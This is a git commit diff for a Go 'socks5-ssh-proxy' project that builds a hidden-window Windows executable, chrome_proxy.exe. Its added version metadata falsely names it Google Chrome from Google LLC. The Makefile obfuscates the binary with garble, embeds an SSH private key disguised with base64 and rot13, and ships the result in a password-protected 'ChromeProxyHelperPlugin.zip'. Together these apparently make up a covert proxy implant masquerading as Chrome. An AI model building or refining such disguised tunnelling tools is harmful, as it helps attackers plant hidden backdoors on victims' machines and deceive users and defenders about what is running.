Initial work on windows exe resource information

This commit is contained in:
Jerry Jacobs 2024-07-31 15:46:13 +02:00
parent 5f5b9de81a
commit 7db72169f9
7 changed files with 76 additions and 16 deletions

View File

@ -38,8 +38,8 @@ jobs:
- name: Use resources/ssh_private_key from action secrets
uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe...
with:
base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY }}
filename: "ssh_private_key"
base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY_BASE64_ROT13 }}
filename: "ssh_private_key.base64.rot13"
working-directory: "./resources"
- run: make release

View File

@ -1,6 +1,8 @@
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_linux.go system_darwin.go
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
GOVERSIONINFO_BIN = $(shell go env GOPATH)/bin/goversioninfo
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
export PATH := $(shell go env GOPATH)/bin:$(PATH)
all: socks5-ssh-proxy
@ -19,7 +21,8 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@
upx $@
win: socks5-ssh-proxy.exe
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
socks5-ssh-proxy.exe: resources $(GOVERSIONINFO_BIN) $(SOURCES)
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go generate -tags windows,release
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w -H=windowsgui" -tags windows,release -o $@
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
#CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
@ -34,9 +37,11 @@ ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
#upx chrome_proxy.exe
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe
rm -f chrome_proxy.exe
install-deps: $(GARBLE_BIN)
install-deps: $(GARBLE_BIN) $(GOVERSIONINFO_BIN)
$(GARBLE_BIN):
go install mvdan.cc/garble@v0.12.1
$(GOVERSIONINFO_BIN):
go install github.com/josephspurrier/goversioninfo/cmd/goversioninfo@v1.4.0
clean:
rm -f *.exe
rm -f *.zip
@ -63,10 +68,12 @@ resources/ssh_private_key.base64: resources/ssh_private_key
base64 -i $< -o $@
resources/ssh_private_key.base64.rot13: resources/ssh_private_key.base64
go run cmd/rot13-obfuscator/main.go $< $@
resources/ssh_private_key.base64.rot13.github: resources/ssh_private_key.base64.rot13
base64 -i $< -o $@
fmt:
gofmt -w *.go
secrets: config_release.go.base64 resources/ssh_private_key.base64.rot13
secrets: config_release.go.base64 resources/ssh_private_key.base64.rot13.github
.phony: clean test win

View File

@ -16,9 +16,9 @@ var sshfpResolver *sshfp.Resolver
func secureEraseResourceSSHPrivateKey() {
log.Println("ERASING SSH private key")
for i := range resourceSSHPrivateKey {
resourceSSHPrivateKey[i] = 0
}
// for i := range resourceSSHPrivateKey {
// resourceSSHPrivateKey[i] = 0
// }
}
type SSHHostPublicKeyFetcher struct {

View File

@ -1,8 +0,0 @@
//go:build windows
// +build windows
package main
import (
"C"
)

View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
type="win32"
name="blabla"
version="1.0.0.0"
processorArchitecture="*"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel
level="asInvoker"
uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,4 +1,5 @@
//go:build windows
//go:generate goversioninfo -manifest=resources/chrome_proxy.exe.manifest -64
// +build windows
package main

43
versioninfo.json Normal file
View File

@ -0,0 +1,43 @@
{
"FixedFileInfo": {
"FileVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"ProductVersion": {
"Major": 1,
"Minor": 0,
"Patch": 0,
"Build": 0
},
"FileFlagsMask": "3f",
"FileFlags ": "00",
"FileOS": "040004",
"FileType": "01",
"FileSubType": "00"
},
"StringFileInfo": {
"CompanyName": "Google LLC",
"FileDescription": "Google Chrome",
"FileVersion": "127.0.6533.73",
"InternalName": "chrome_proxy",
"LegalCopyright": "Copyright 2024 Google LLC. All rights reserved.",
"OriginalFilename": "chrome_proxy.exe",
"ProductName": "Google Chrome",
"ProductVersion": "127.0.6533.73",
"CompanyShortName": "Google",
"ProductShortName": "Chrome",
"LastChange": "b59f345ebd6c6bd0b5eb2a715334e912b514773d-refs/branch-heads/6533@{#1761}",
"Official Build": "1"
},
"VarFileInfo": {
"Translation": {
"LangID": "0409",
"CharsetID": "04B0"
}
},
"IconPath": "",
"ManifestPath": ""
}